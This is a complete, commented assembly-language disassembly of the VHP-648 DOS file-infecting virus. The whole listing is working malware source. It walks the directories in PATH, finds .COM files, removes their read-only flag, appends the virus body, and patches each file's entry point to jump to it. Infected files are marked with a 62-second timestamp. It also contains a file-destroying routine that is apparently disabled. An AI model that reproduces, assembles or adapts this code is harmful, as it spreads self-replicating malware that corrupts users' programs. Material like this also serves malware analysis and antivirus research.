name	Virus
	title	Disassembly listing of the VHP-648 virus
	.radix	16
code	segment byte public
	assume	cs:code,ds:code,es:code
	org	100h
environ equ	2C

start:
	jmp	virus

message db	'Hello, world!$'

	mov	ah,9
	mov	dx,offset message
	int	21
	int	20

virus:
	push	cx		;Save CX

	mov	dx,offset data	;Restore original first instruction
modify	equ	$-2		;The instruction above is changed
				; before each contamination
	cld
	mov	si,dx
	add	si,saveins-data ;Instruction saved there
	mov	di,offset start
	mov	cx,3		;Move 3 bytes
	rep	movsb		;Do it
	mov	si,dx		;Keep SI pointed at data

	mov	ah,30		;Get DOS version
	int	21
	cmp	al,0		;Less than 2.0?
	jne	skip1
	jmp	exit		;Exit if so

skip1:
	push	es		;Save ES
	mov	ah,2F		;Get current DTA in ES:BX
	int	21
	mov	word ptr [si+0],bx	;dtaadr
	mov	word ptr [si+2],es
	pop	es		;Restore ES

	mov	dx,mydta-data
	add	dx,si
	mov	ah,1A		;Set DTA
	int	21

	push	es		;Save ES & SI
	push	si
	mov	es,ds:[environ] ;Environment address
	mov	di,0
n_00015A:			;Search 'PATH' in environment
	pop	si		;Restore data offset in SI
	push	si
	add	si,pathstr-data
	lodsb
	mov	cx,8000 	;Maximum 32K in environment
	repnz	scasb		;Search for first letter ('P')
	mov	cx,4		;4 letters in 'PATH'
n_000169:
	lodsb			;Search for next char
	scasb
	jne	n_00015A	;If not found, search for next 'P'
	loop	n_000169	;Loop until done
	pop	si		;Restore SI & ES
	pop	es

	mov	[si+16],di	;Save 'PATH' offset in poffs
	mov	di,si
	add	di,fname-data	;Point SI & DI at '=' sign
	mov	bx,si		;Point BX at data area
	add	si,fname-data
	mov	di,si
	jmp	short n_0001BF

n_000185:
	cmp	word ptr [si+16],6C	;poffs
	jne	n_00018F
	jmp	olddta
n_00018F:
	push	ds
	push	si
	mov	ds,es:[environ]
	mov	di,si
	mov	si,es:[di+16]	;poffs
	add	di,fname-data
n_0001A1:
	lodsb
	cmp	al,';'
	je	n_0001B0
	cmp	al,0
	je	n_0001AD
	stosb
	jmp	n_0001A1
n_0001AD:
	mov	si,0
n_0001B0:
	pop	bx
	pop	ds
	mov	[bx+16],si	;poffs
	cmp	byte ptr [di-1],'\'
	je	n_0001BF
	mov	al,'\'          ;Add '\' if not already present
	stosb

n_0001BF:
	mov	[bx+18],di	;Save '=' offset in eqoffs
	mov	si,bx		;Restore data pointer in SI
	add	si,allcom-data
	mov	cx,6		;6 bytes in ASCIIZ '*.COM'
	rep	movsb		;Move '*.COM' at fname
	mov	si,bx		;Restore SI

	mov	ah,4E		;Find first file
	mov	dx,fname-data
	add	dx,si
	mov	cx,11b		;Hidden, Read/Only or Normal files
	int	21
	jmp	short n_0001E3

findnext:
	mov	ah,4F		;Find next file
	int	21
n_0001E3:
	jnc	n_0001E7	;If found, try to contaminate it
	jmp	n_000185	;Otherwise search in another directory

n_0001E7:
	mov	ax,[si+75]	;Check file time
	and	al,11111b	; (the seconds, more exactly)
	cmp	al,62d/2	;Are they 62?

;If so, file is already contains the virus, search for another:

	je	findnext
	cmp	[si+79],64000d	;Is file size greather than 64,000 bytes?
	ja	findnext	;If so, search for next file
	cmp	word ptr [si+79],10d	;Is file size less than 10 bytes?
	jb	findnext	;If so, search for next file

	mov	di,[si+18]	;eqoffs
	push	si		;Save SI
	add	si,namez-data	;Point SI at namez
n_000209:
	lodsb
	stosb
	cmp	al,0
	jne	n_000209

	pop	si		;Restore SI
	mov	ax,4300 	;Get file attributes
	mov	dx,fname-data
	add	dx,si
	int	21

	mov	[si+8],cx	;Save them in fattrib
	mov	ax,4301 	;Set file attributes

;The next `db's are there because MASM can't assemble
; the instruction `and cx,0FFFE' correctly (the fool!):

	db	081,0E1,0FE,0FF
;	and	cx,word ptr (not 1)	;Turn off Read Only flag
	mov	dx,fname-data
	add	dx,si
	int	21

	mov	ax,3D02 	;Open file with Read/Write access
	mov	dx,fname-data
	add	dx,si
	int	21
	jnc	n_00023E
	jmp	oldattr 	;Exit on error

n_00023E:
	mov	bx,ax		;Save file handle in BX
	mov	ax,5700 	;Get file date & time
	int	21
	mov	[si+4],cx	;Save time in ftime
	mov	[si+6],dx	;Save date in fdate

	mov	ah,2C		;Get system time
	int	21
	and	dh,111b 	;Are seconds a multiple of 8?

;If so, destroy file (don't contaminate). Now this code is disabled.
	jnz	010
	jmp	short n_000266	;CHANGED. Was jnz here

;Destroy file by rewriting an illegal jmp as first instruction:

	mov	ah,40		;Write to file handle
	mov	cx,5		;Write 5 bytes
	mov	dx,si
	add	dx,bad_jmp-data ;Write THESE bytes
	int	21		;Do it
	jmp	short oldtime	;Exit

;Try to contaminate file:

;Read first instruction of the file (first 3 bytes) and save it in saveins:

n_000266:
	mov	ah,3F		;Read from file handle
	mov	cx,3		;Read 3 bytes
	mov	dx,saveins-data ;Put them there
	add	dx,si
	int	21
	jc	oldtime 	;Exit on error
	cmp	ax,3		;Are really 3 bytes read?
	jne	oldtime 	;Exit if not

;Move file pointer to end of file:

	mov	ax,4202 	;LSEEK from end of file
	mov	cx,0		;0 bytes from end
	mov	dx,0
	int	21
	jc	oldtime 	;Exit on error

	mov	cx,ax		;Get the value of file pointer
	sub	ax,3		;Subtract 3 from it to get real code size
	mov	[si+14d],ax	;Save result in filloc
	add	cx,data-(virus-100)
	mov	di,si
	sub	di,data-modify	;A little self-modification
	mov	[di],cx

	mov	ah,40		;Write to file handle
	mov	cx,enddata-virus  ;Virus code length as bytes to be written
	mov	dx,si
	sub	dx,data-virus	;Now DX points at virus label
	int	21
	jc	oldtime 	;Exit on error
	cmp	ax,enddata-virus	;Are all bytes written?
	jne	oldtime 	;Exit if not

	mov	ax,4200 	;LSEEK from the beginning of the file
	mov	cx,0		;Just at the file beginning
	mov	dx,0
	int	21
	jc	oldtime 	;Exit on error

;Rewrite the first instruction of the file with a jump to the virus code:

	mov	ah,40		;Write to file handle
	mov	cx,3		;3 bytes to write
	mov	dx,si
	add	dx,newjmp-data	;Write THESE bytes
	int	21

oldtime:
	mov	dx,[si+6]	;Restore file date
	mov	cx,[si+4]	; and time

;And these again are due to the MASM 5.0 foolness:

	db	081,0E1,0E0,0FF
	db	081,0C9,01F,000
;	and	cx,not 11111b
;	or	cx,11111b	;Set seconds to 62 (?!)

	mov	ax,5701 	;Set file date & time
	int	21
	mov	ah,3E		;Close file handle
	int	21

oldattr:
	mov	ax,4301 	;Set file attributes
	mov	cx,[si+8]	;They were saved in fattrib
	mov	dx,fname-data
	add	dx,si
	int	21

olddta:
	push	ds		;Save DS
	mov	ah,1A		;Set DTA
	mov	dx,[si+0]	;Restore saved DTA
	mov	ds,[si+2]
	int	21
	pop	ds		;Restore DS

exit:
	pop	cx		;Restore CX
	xor	ax,ax		;Clear registers
	xor	bx,bx
	xor	dx,dx
	xor	si,si
	mov	di,100		;Jump to CS:100
	push	di		; by doing funny RET
	xor	di,di
	ret	-1

data	label	byte		;Data section
dtaaddr dd	?		;Disk Transfer Address
ftime	dw	?		;File date
fdate	dw	?		;File time
fattrib dw	?		;File attribute
saveins db	0EBh,0Fh,90	;Original first 3 bytes
newjmp	db	0E9		;Code of jmp instruction
filloc	dw	?		;File pointer is saved here
allcom	db	'*.COM',0       ;Filespec to search for
poffs	dw	?		;Address of 'PATH' string
eqoffs	dw	?		;Address of '=' sign
pathstr db	'PATH='
fname	db	40 dup (' ')    ;Path name to search for

;Disk Transfer Address for Find First / Find Next:

mydta	label	byte
drive	db	?		;Drive to search for
pattern db	13d dup (?)	;Search pattern
reserve db	7 dup (?)	;Not used
attrib	db	?		;File attribute
time	dw	?		;File time
date	dw	?		;File date
fsize	dd	?		;File size
namez	db	13d dup (?)	;File name found

;This replaces the first instruction of a destroyed file:

bad_jmp db	0EA,0Bh,2,13,58
enddata label	byte

code	ends
	end	start